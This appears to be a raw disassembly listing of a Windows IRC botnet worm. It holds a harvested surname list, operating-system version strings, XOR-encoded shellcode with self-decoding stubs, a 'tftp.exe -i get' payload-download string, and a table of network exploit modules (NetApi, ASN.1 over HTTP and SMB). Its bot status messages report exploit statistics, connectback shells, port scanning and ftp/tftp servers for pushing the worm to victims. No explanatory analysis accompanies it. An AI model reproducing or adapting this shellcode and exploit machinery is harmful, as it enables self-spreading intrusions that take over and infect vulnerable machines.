aCastelda db 'Castelda',0 ; DATA XREF: seg002:0042EFA0o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: seg002:0042EF9Co
align 10h
aCase db 'Case',0 ; DATA XREF: seg002:0042EF98o
align 4
aCascio db 'Cascio',0 ; DATA XREF: seg002:0042EF94o
align 10h
aCartmill db 'Cartmill',0 ; DATA XREF: seg002:0042EF90o
align 4
aCarper db 'Carper',0 ; DATA XREF: seg002:0042EF8Co
align 4
aCaroti db 'Caroti',0 ; DATA XREF: seg002:0042EF88o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: seg002:0042EF84o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: seg002:0042EF80o
aCarlos db 'Carlos',0 ; DATA XREF: seg002:0042EF7Co
align 4
aCarlin db 'Carlin',0 ; DATA XREF: seg002:0042EF78o
align 10h
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: seg002:0042EF74o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: seg002:0042EF70o
aCapursi db 'Capursi',0 ; DATA XREF: seg002:0042EF6Co
aCappuccio db 'Cappuccio',0 ; DATA XREF: seg002:0042EF68o
align 10h
aCapodilupo db 'Capodilupo',0 ; DATA XREF: seg002:0042EF64o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: seg002:0042EF60o
align 4
aCaperton db 'Caperton',0 ; DATA XREF: seg002:0042EF5Co
align 4
aCapanni db 'Capanni',0 ; DATA XREF: seg002:0042EF58o
aCanley db 'Canley',0 ; DATA XREF: seg002:0042EF54o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: seg002:0042EF50o
align 10h
aCammelli db 'Cammelli',0 ; DATA XREF: seg002:0042EF4Co
align 4
aCalnan db 'Calnan',0 ; DATA XREF: seg002:0042EF48o
align 4
aCage db 'Cage',0 ; DATA XREF: seg002:0042EF44o
align 4
aByrd db 'Byrd',0 ; DATA XREF: seg002:0042EF40o
align 4
aByerly db 'Byerly',0 ; DATA XREF: seg002:0042EF3Co
align 4
aByatt db 'Byatt',0 ; DATA XREF: seg002:0042EF38o
align 4
aBusetta db 'Busetta',0 ; DATA XREF: seg002:0042EF34o
aBurridge db 'Burridge',0 ; DATA XREF: seg002:0042EF30o
align 4
aBurke db 'Burke',0 ; DATA XREF: seg002:0042EF2Co
align 10h
aBurdzy db 'Burdzy',0 ; DATA XREF: seg002:0042EF28o
align 4
aBurden db 'Burden',0 ; DATA XREF: seg002:0042EF24o
align 10h
aBunton db 'Bunton',0 ; DATA XREF: seg002:0042EF20o
align 4
aBullard db 'Bullard',0 ; DATA XREF: seg002:0042EF1Co
aBudding db 'Budding',0 ; DATA XREF: seg002:0042EF18o
aBuchan db 'Buchan',0 ; DATA XREF: seg002:0042EF14o
align 10h
aBrzycki db 'Brzycki',0 ; DATA XREF: seg002:0042EF10o
aBrook db 'Brook',0 ; DATA XREF: seg002:0042EF0Co
align 10h
aBroca db 'Broca',0 ; DATA XREF: seg002:0042EF08o
align 4
aBritz db 'Britz',0 ; DATA XREF: seg002:0042EF04o
align 10h
aBrinton db 'Brinton',0 ; DATA XREF: seg002:0042EF00o
aBridges db 'Bridges',0 ; DATA XREF: seg002:0042EEFCo
aBridgeman db 'Bridgeman',0 ; DATA XREF: seg002:0042EEF8o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: seg002:0042EEF0o
; seg002:0042EEF4o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: seg002:0042EEECo
aBrenan db 'Brenan',0 ; DATA XREF: seg002:0042EEE8o
align 4
aBreed db 'Breed',0 ; DATA XREF: seg002:0042EEE4o
align 4
aBrecht db 'Brecht',0 ; DATA XREF: seg002:0042EEE0o
align 4
aBradach db 'Bradach',0 ; DATA XREF: seg002:0042EEDCo
aBradac db 'Bradac',0 ; DATA XREF: seg002:0042EED8o
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: seg002:0042EED4o
align 10h
aBoyne db 'Boyne',0 ; DATA XREF: seg002:0042EED0o
align 4
aBoym db 'Boym',0 ; DATA XREF: seg002:0042EECCo
align 10h
aBoyland db 'Boyland',0 ; DATA XREF: seg002:0042EEC8o
aBoyes db 'Boyes',0 ; DATA XREF: seg002:0042EEC4o
align 10h
aBoyajian db 'Boyajian',0 ; DATA XREF: seg002:0042EEC0o
align 4
aBoxer db 'Boxer',0 ; DATA XREF: seg002:0042EEBCo
align 4
aBowers db 'Bowers',0 ; DATA XREF: seg002:0042EEB8o
align 4
aBourneuf db 'Bourneuf',0 ; DATA XREF: seg002:0042EEB4o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: seg002:0042EEB0o
aBoudin db 'Boudin',0 ; DATA XREF: seg002:0042EEACo
align 4
aBotosh db 'Botosh',0 ; DATA XREF: seg002:0042EEA8o
align 10h
aBothman db 'Bothman',0 ; DATA XREF: seg002:0042EEA4o
aBossi db 'Bossi',0 ; DATA XREF: seg002:0042EEA0o
align 10h
aBorden db 'Borden',0 ; DATA XREF: seg002:0042EE9Co
align 4
aBorack db 'Borack',0 ; DATA XREF: seg002:0042EE98o
align 10h
aBoorstin db 'Boorstin',0 ; DATA XREF: seg002:0042EE94o
align 4
aBoone db 'Boone',0 ; DATA XREF: seg002:0042EE90o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: seg002:0042EE8Co
align 10h
aBook db 'Book',0 ; DATA XREF: seg002:0042EE88o
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: seg002:0042EE84o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: seg002:0042EE80o
align 10h
aBonham db 'Bonham',0 ; DATA XREF: seg002:0042EE7Co
align 4
aBoner db 'Boner',0 ; DATA XREF: seg002:0042EE78o
align 10h
aBologna db 'Bologna',0 ; DATA XREF: seg002:0042EE74o
aBollinger db 'Bollinger',0 ; DATA XREF: seg002:0042EE70o
align 4
aBolick db 'Bolick',0 ; DATA XREF: seg002:0042EE6Co
align 4
aBolger db 'Bolger',0 ; DATA XREF: seg002:0042EE68o
align 4
aBlyth db 'Blyth',0 ; DATA XREF: seg002:0042EE64o
align 4
aBloxham db 'Bloxham',0 ; DATA XREF: seg002:0042EE60o
aBloemhof db 'Bloemhof',0 ; DATA XREF: seg002:0042EE5Co
align 10h
aBloembergen db 'Bloembergen',0 ; DATA XREF: seg002:0042EE58o
aBloch db 'Bloch',0 ; DATA XREF: seg002:0042EE54o
align 4
aBlizard db 'Blizard',0 ; DATA XREF: seg002:0042EE50o
aBliss db 'Bliss',0 ; DATA XREF: seg002:0042EE4Co
align 4
aBlanke db 'Blanke',0 ; DATA XREF: seg002:0042EE48o
align 4
aBlakemore db 'Blakemore',0 ; DATA XREF: seg002:0042EE44o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: seg002:0042EE40o
align 10h
aBlackwell db 'Blackwell',0 ; DATA XREF: seg002:0042EE3Co
align 4
aBlackbourn db 'Blackbourn',0 ; DATA XREF: seg002:0042EE38o
align 4
aBisho db 'Bisho',0 ; DATA XREF: seg002:0042EE34o
align 10h
aBisema db 'Bisema',0 ; DATA XREF: seg002:0042EE30o
align 4
aBir db 'Bir',0 ; DATA XREF: seg002:0042EE2Co
aBinion db 'Binion',0 ; DATA XREF: seg002:0042EE28o
align 4
aBickel db 'Bickel',0 ; DATA XREF: seg002:0042EE24o
align 4
aBiagioli db 'Biagioli',0 ; DATA XREF: seg002:0042EE20o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: seg002:0042EE1Co
aBetti db 'Betti',0 ; DATA XREF: seg002:0042EE18o
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: seg002:0042EE14o
align 4
aBernston db 'Bernston',0 ; DATA XREF: seg002:0042EE10o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: seg002:0042EE0Co
align 10h
aBernardo db 'Bernardo',0 ; DATA XREF: seg002:0042EE08o
align 4
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: seg002:0042EE04o
align 4
aBergson db 'Bergson',0 ; DATA XREF: seg002:0042EE00o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: seg002:0042EDFCo
align 4
aBelloc db 'Belloc',0 ; DATA XREF: seg002:0042EDF8o
align 4
aBellini db 'Bellini',0 ; DATA XREF: seg002:0042EDF4o
aBellhouse db 'Bellhouse',0 ; DATA XREF: seg002:0042EDF0o
align 10h
aBellavance db 'Bellavance',0 ; DATA XREF: seg002:0042EDECo
align 4
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: seg002:0042EDE8o
align 4
aBelfer db 'Belfer',0 ; DATA XREF: seg002:0042EDE4o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: seg002:0042EDE0o
align 10h
aBelanger db 'Belanger',0 ; DATA XREF: seg002:0042EDDCo
align 4
aBehenna db 'Behenna',0 ; DATA XREF: seg002:0042EDD8o
aBedford db 'Bedford',0 ; DATA XREF: seg002:0042EDD4o
aBeder db 'Beder',0 ; DATA XREF: seg002:0042EDD0o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: seg002:0042EDCCo
aBean db 'Bean',0 ; DATA XREF: seg002:0042EDC8o
align 4
aBeal db 'Beal',0 ; DATA XREF: seg002:0042EDC4o
align 4
aBeacon db 'Beacon',0 ; DATA XREF: seg002:0042EDC0o
align 4
aBayo db 'Bayo',0 ; DATA XREF: seg002:0042EDBCo
align 4
aBayles db 'Bayles',0 ; DATA XREF: seg002:0042EDB8o
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: seg002:0042EDB4o
align 10h
aBatchelder db 'Batchelder',0 ; DATA XREF: seg002:0042EDB0o
align 4
aBashevis db 'Bashevis',0 ; DATA XREF: seg002:0042EDACo
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: seg002:0042EDA8o
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: seg002:0042EDA4o
align 4
aBartolome db 'Bartolome',0 ; DATA XREF: seg002:0042EDA0o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: seg002:0042ED9Co
aBarry db 'Barry',0 ; DATA XREF: seg002:0042ED98o
align 4
aBarriola db 'Barriola',0 ; DATA XREF: seg002:0042ED94o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: seg002:0042ED90o
aBarneson db 'Barneson',0 ; DATA XREF: seg002:0042ED8Co
align 4
aBarbetti db 'Barbetti',0 ; DATA XREF: seg002:0042ED88o
align 4
aBarberi db 'Barberi',0 ; DATA XREF: seg002:0042ED84o
aBaranowska db 'Baranowska',0 ; DATA XREF: seg002:0042ED80o
align 4
aBaranczak db 'Baranczak',0 ; DATA XREF: seg002:0042ED7Co
align 4
aBarajas db 'Barajas',0 ; DATA XREF: seg002:0042ED78o
aBarabesi db 'Barabesi',0 ; DATA XREF: seg002:0042ED74o
align 4
aBanta db 'Banta',0 ; DATA XREF: seg002:0042ED70o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: seg002:0042ED6Co
align 4
aBallew db 'Ballew',0 ; DATA XREF: seg002:0042ED68o
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: seg002:0042ED64o
align 10h
aBaleja db 'Baleja',0 ; DATA XREF: seg002:0042ED60o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: seg002:0042ED5Co
align 4
aBailar db 'Bailar',0 ; DATA XREF: seg002:0042ED58o
align 4
aBagnold db 'Bagnold',0 ; DATA XREF: seg002:0042ED54o
aBaglivo db 'Baglivo',0 ; DATA XREF: seg002:0042ED50o
aBady db 'Bady',0 ; DATA XREF: seg002:0042ED4Co
align 4
aBackus db 'Backus',0 ; DATA XREF: seg002:0042ED48o
align 4
aBachmuth db 'Bachmuth',0 ; DATA XREF: seg002:0042ED44o
align 4
aAzima db 'Azima',0 ; DATA XREF: seg002:0042ED40o
align 10h
aAyling db 'Ayling',0 ; DATA XREF: seg002:0042ED3Co
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: seg002:0042ED38o
aAyiemba db 'Ayiemba',0 ; DATA XREF: seg002:0042ED34o
aAxworthy db 'Axworthy',0 ; DATA XREF: seg002:0042ED30o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: seg002:0042ED2Co
aAurelius db 'Aurelius',0 ; DATA XREF: seg002:0042ED28o
align 4
aAugustus db 'Augustus',0 ; DATA XREF: seg002:0042ED24o
align 4
aAtkins db 'Atkins',0 ; DATA XREF: seg002:0042ED20o
align 4
aArky db 'Arky',0 ; DATA XREF: seg002:0042ED1Co
align 4
aArjas db 'Arjas',0 ; DATA XREF: seg002:0042ED18o
align 4
aAristotle db 'Aristotle',0 ; DATA XREF: seg002:0042ED14o
align 4
aArellano db 'Arellano',0 ; DATA XREF: seg002:0042ED10o
align 4
aArduini db 'Arduini',0 ; DATA XREF: seg002:0042ED0Co
aArbia db 'Arbia',0 ; DATA XREF: seg002:0042ED08o
align 4
aAntos db 'Antos',0 ; DATA XREF: seg002:0042ED04o
align 4
aAnthony db 'Anthony',0 ; DATA XREF: seg002:0042ED00o
aAnsley db 'Ansley',0 ; DATA XREF: seg002:0042ECFCo
align 4
aAnfinrud db 'Anfinrud',0 ; DATA XREF: seg002:0042ECF8o
align 4
aAndron db 'Andron',0 ; DATA XREF: seg002:0042ECF4o
align 10h
aAndrelus db 'Andrelus',0 ; DATA XREF: seg002:0042ECF0o
align 4
aAndo db 'Ando',0 ; DATA XREF: seg002:0042ECECo
align 4
aAndel db 'Andel',0 ; DATA XREF: seg002:0042ECE8o
align 4
aAnand db 'Anand',0 ; DATA XREF: seg002:0042ECE4o
align 4
aAmsden db 'Amsden',0 ; DATA XREF: seg002:0042ECE0o
align 4
aAmeer db 'Ameer',0 ; DATA XREF: seg002:0042ECDCo
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: seg002:0042ECD8o
align 10h
aAmaral db 'Amaral',0 ; DATA XREF: seg002:0042ECD4o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: seg002:0042ECD0o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: seg002:0042ECCCo
aAltavilla db 'Altavilla',0 ; DATA XREF: seg002:0042ECC8o
align 4
aAlongi db 'Alongi',0 ; DATA XREF: seg002:0042ECC4o
align 4
aAllison db 'Allison',0 ; DATA XREF: seg002:0042ECC0o
aAleks db 'Aleks',0 ; DATA XREF: seg002:0042ECBCo
align 4
aAlda db 'Alda',0 ; DATA XREF: seg002:0042ECB8o
align 4
aAlcorn db 'Alcorn',0 ; DATA XREF: seg002:0042ECB4o
align 4
aAlavi db 'Alavi',0 ; DATA XREF: seg002:0042ECB0o
align 4
aAhlers db 'Ahlers',0 ; DATA XREF: seg002:0042ECACo
align 4
aAdorno db 'Adorno',0 ; DATA XREF: seg002:0042ECA8o
align 4
aAdibe db 'Adibe',0 ; DATA XREF: seg002:0042ECA4o
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: seg002:0042ECA0o
align 10h
aAddison db 'Addison',0 ; DATA XREF: seg002:0042EC9Co
aAdams db 'Adams',0 ; DATA XREF: seg002:0042EC98o
align 10h
aAckerman db 'Ackerman',0 ; DATA XREF: seg002:0042EC94o
align 4
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: seg002:off_42EC90o
align 4
aPc db 'PC',0 ; DATA XREF: seg000:0040ACD5o
align 4
aS_3 db '%s|',0 ; DATA XREF: seg000:0040AD56o
aS_4 db '[%s]|',0 ; DATA XREF: seg000:0040AE60o
align 4
a??? db '???',0 ; DATA XREF: seg000:loc_40AE57o
; sub_41AC18:loc_41ACDBo
a2k3 db '2K3',0 ; DATA XREF: seg000:0040AE50o
aXp_0 db 'XP',0 ; DATA XREF: seg000:0040AE42o
; sub_41AC18+AAo
align 4
a2k db '2K',0 ; DATA XREF: seg000:0040AE32o
; sub_41AC18+98o
align 4
aMe_0 db 'ME',0 ; DATA XREF: seg000:0040AE19o
; sub_41AC18+7Eo
align 4
a98 db '98',0 ; DATA XREF: seg000:0040AE09o
; sub_41AC18+6Co
align 10h
aNt_0 db 'NT',0 ; DATA XREF: seg000:0040ADF9o
; sub_41AC18+5Ao
align 4
a95 db '95',0 ; DATA XREF: seg000:0040ADEBo
; sub_41AC18+46o
align 4
aD_2 db '[%d]',0 ; DATA XREF: sub_40AEA6+1Bo
align 10h
jmp short loc_432924
; ---------------------------------------------------------------------------
loc_432922: ; CODE XREF: seg002:loc_432924p
jmp short loc_432929
; ---------------------------------------------------------------------------
loc_432924: ; CODE XREF: seg002:00432920j
call loc_432922
loc_432929: ; CODE XREF: seg002:loc_432922j
pop ebx
xor ecx, ecx
mov cx, 0FFFFh
loc_432930: ; CODE XREF: seg002:00432935j
xor byte ptr [ebx+0Eh], 0FFh
inc ebx
loop loc_432930
add bl, ch
add ch, bl
add eax, 0FFFFF9E8h
call fword ptr [ebx+31h]
leave
mov cl, 0FFh
loc_432946: ; CODE XREF: seg002:0043294Bj
xor byte ptr [ebx+0Ch], 0FFh
inc ebx
loop loc_432946
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dd 12h
aTftp_exeIGet db 'tftp.exe -i get ',0
; ---------------------------------------------------------------------------
push 0
call sub_4329E8
jnz short loc_4329D4
retn
; ---------------------------------------------------------------------------
loc_4329D4: ; CODE XREF: seg002:004329D1j
; seg002:004329E1j
call near ptr loc_4329D9+1
loc_4329D9: ; CODE XREF: seg002:loc_4329D4p
add [edx+0], ch
call sub_4329E8
jz loc_4329D4
retn
; =============== S U B R O U T I N E =======================================
sub_4329E8 proc near ; CODE XREF: seg002:004329CCp
; seg002:004329DCp
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
sub_4329E8 endp
; ---------------------------------------------------------------------------
align 4
dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B1F9+51o
align 10h
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B1F9+35o
align 4
aSym db 'sym',0 ; DATA XREF: sub_40BF8E+155o
dd 0
db 2 dup(0)
aSymantec db 'Symantec',0 ; DATA XREF: sub_40B63A+30o
align 4
dd 5 dup(0)
dword_432A90 dd 0B97h ; DATA XREF: seg000:00403810r
; seg000:00403839o ...
off_432A94 dd offset sub_40E78C ; DATA XREF: sub_40BF8E+1D7r
dword_432A98 dd 0 ; DATA XREF: sub_40B4AD+2Eo
; seg000:0040D2DDr ...
dword_432A9C dd 1 ; DATA XREF: seg000:0040B948r
dword_432AA0 dd 1 ; DATA XREF: seg000:0040BCD3r
dword_432AA4 dd 0 ; DATA XREF: seg000:0040BBAEr
aNet1 db 'net1',0
align 10h
dd 654E0000h, 69706174h, 2D393331h, 31h, 4 dup(0)
dd 8Bh, 40DD8Fh, 0
dd 2 dup(1), 0
dd 2D74656Eh, 31h, 654E0000h, 69706174h, 2D353434h, 31h
dd 4 dup(0)
dd 1BDh, 40DD8Fh, 0
dd 2 dup(1), 0
aNet2 db 'net2',0
align 10h
dd 654E0000h, 69706174h, 2D393331h, 32h, 4 dup(0)
dd 8Bh, 40E27Bh, 0
dd 2 dup(1), 0
dd 2D74656Eh, 32h, 654E0000h, 69706174h, 2D353434h, 32h
dd 4 dup(0)
dd 1BDh, 40E27Bh, 0
dd 2 dup(1), 0
aNet3 db 'net3',0
align 10h
dd 654E0000h, 69706174h, 2D393331h, 33h, 4 dup(0)
dd 8Bh, 40E64Ch, 0
dd 2 dup(1), 0
dd 2D74656Eh, 33h, 654E0000h, 69706174h, 2D353434h, 33h
dd 4 dup(0)
dd 1BDh, 40E64Ch, 0
dd 2 dup(1), 0
aXmass db 'xmass',0
align 10h
dd 616C0000h, 3331646Eh, 39h, 5 dup(0)
dd 8Bh, 40D6DBh, 0
dd 2 dup(1), 0
aAsn1http db 'asn1http',0
align 2
aAsn_1Http db 'ASN.1-HTTP',0
align 10h
dd 4 dup(0)
dd 50h, 40D121h, 0
dd 2 dup(1), 0
aAsn1smb db 'asn1smb',0
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D121h, 0
dd 2 dup(1), 0
aAsn1smbnt db 'asn1smbnt',0
aAsn_1SmbNt db 'ASN.1-SMB NT',0
align 10h
dd 4 dup(0)
dd 8Bh, 40D121h, 0
dd 2 dup(1), 2 dup(0)
dd 10100h, 0Eh dup(0)
aNet1_0 db 'net1',0
align 10h
db 2 dup(0)
byte_432D72 db 1 ; DATA XREF: seg000:loc_403789r
; seg000:00403793o
aNet2_0 db 'net2',0
dd 0
dd 656E0100h, 3374h, 0
dd 1, 3 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_432DAA
; =============== S U B R O U T I N E =======================================
sub_432D9A proc near ; CODE XREF: sub_432D9A:loc_432DAAp
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_432DA2: ; CODE XREF: sub_432D9A+Cj
xor byte ptr [edx+ecx], 99h
loop loc_432DA2
jmp short loc_432DAF
; ---------------------------------------------------------------------------
loc_432DAA: ; CODE XREF: seg002:00432D98j
call sub_432D9A
loc_432DAF: ; CODE XREF: sub_432D9A+Ej
jo short near ptr dword_432D2C+1Eh
cwde
cdq
cdq
retn
sub_432D9A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B4AD+85o
align 4
dword_432F2C dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B4AD+46o
unk_432F38 db 2Dh ; - ; DATA XREF: sub_40B4AD+11o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aExploitStatist db 'Exploit Statistics:',0
unk_432F58 db 2Dh ; - ; DATA XREF: sub_40B57B+37o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
db 54h ; T
db 72h, 61h, 6Eh
db 73h ; s
db 66h, 65h, 72h
db 20h
db 53h, 74h, 61h
db 74h ; t
db 69h, 73h, 74h
db 69h ; i
db 63h, 73h, 3Ah
db 20h
db 2, 54h, 46h
db 54h ; T
db 50h, 2, 3Ah
db 20h
db 25h, 64h, 2Ch
db 20h
db 2, 46h, 54h
db 50h ; P
db 2, 3Ah, 20h
aDTotalDInS_ db '%d, Total %d in %s.',0
unk_432FA0 db 2Dh ; - ; DATA XREF: sub_40B5E6+21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aDConnectbackSh db '%d connectback shells in %s.',0
align 4
aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B63A+7Eo
dword_432FDC dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B63A+40o
dword_432FEC dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh
; DATA XREF: sub_40B63A+14o
dd 7473694Ch, 3Ah
unk_433008 db 2Dh ; - ; DATA XREF: seg000:0040B86Fo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFinishedExploi db '- finished exploiting %s (%d attempts)',0
unk_43303C db 2Dh ; - ; DATA XREF: seg000:0040B780o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
db 2Dh, 20h, 74h
db 72h ; r
db 79h, 69h, 6Eh
db 67h ; g
db 20h, 2, 25h
db 73h ; s
db 2, 20h, 6Fh
aNSPortD___ db 'n %s (port %d)...',0
align 4
unk_43306C db 2Dh ; - ; DATA XREF: sub_40B8B2+42o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aScanNotActive_ db 'Scan not active.',0
align 4
unk_43308C db 2Dh ; - ; DATA XREF: sub_40B8B2+2Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aCurrentIpS_ db 'Current IP: %s.',0
unk_4330A8 db 2Dh ; - ; DATA XREF: seg000:0040BDEEo
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_31 db ' Failed to start server, error: <%d>.',0
align 4
unk_4330DC db 2Dh ; - ; DATA XREF: seg000:0040BCAFo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aFailedToSta_32 db '- Failed to start server, error: <%d>.',0
unk_433114 db 2Dh ; - ; DATA XREF: seg000:0040BC4Fo
db 3, 34h, 2
db 63h ; c
db 6Fh, 2 dup(6Eh)
db 65h ; e
db 63h, 74h, 62h
db 61h ; a
db 63h, 6Bh, 2
db 3
aServerStarte_2 db '- Server started on Port: %d.',0
align 4
unk_433144 db 2Dh ; - ; DATA XREF: seg000:0040BB88o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_33 db 'Failed to start server, error: <%d>.',0
align 4
unk_433178 db 2Dh ; - ; DATA XREF: seg000:0040BB28o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 64h
db 2
db 3, 2Dh, 20h
aServerStarte_3 db 'Server started on Port: %d, File: %s.',0
align 4
unk_4331AC db 2Dh ; - ; DATA XREF: seg000:0040BA60o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' Failed to start server, error: <%d>.',0
align 10h
unk_4331E0 db 2Dh ; - ; DATA XREF: sub_40BF8E+DCo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0
align 4
unk_433208 db 2Dh ; - ; DATA XREF: sub_40BF8E+84o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_433240 db 2Dh ; - ; DATA XREF: seg000:0040C382o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0
align 10h
unk_433280 db 2Dh ; - ; DATA XREF: seg000:0040C30Ao
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_4332B8 db 2Dh ; - ; DATA XREF: seg000:0040C2A5o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_4332EC db 2Dh ; - ; DATA XREF: seg000:0040C229o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToInitia db 'Failed to initialize critical section.',0
align 10h
unk_433320 db 2Dh ; - ; DATA XREF: seg000:0040C48Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
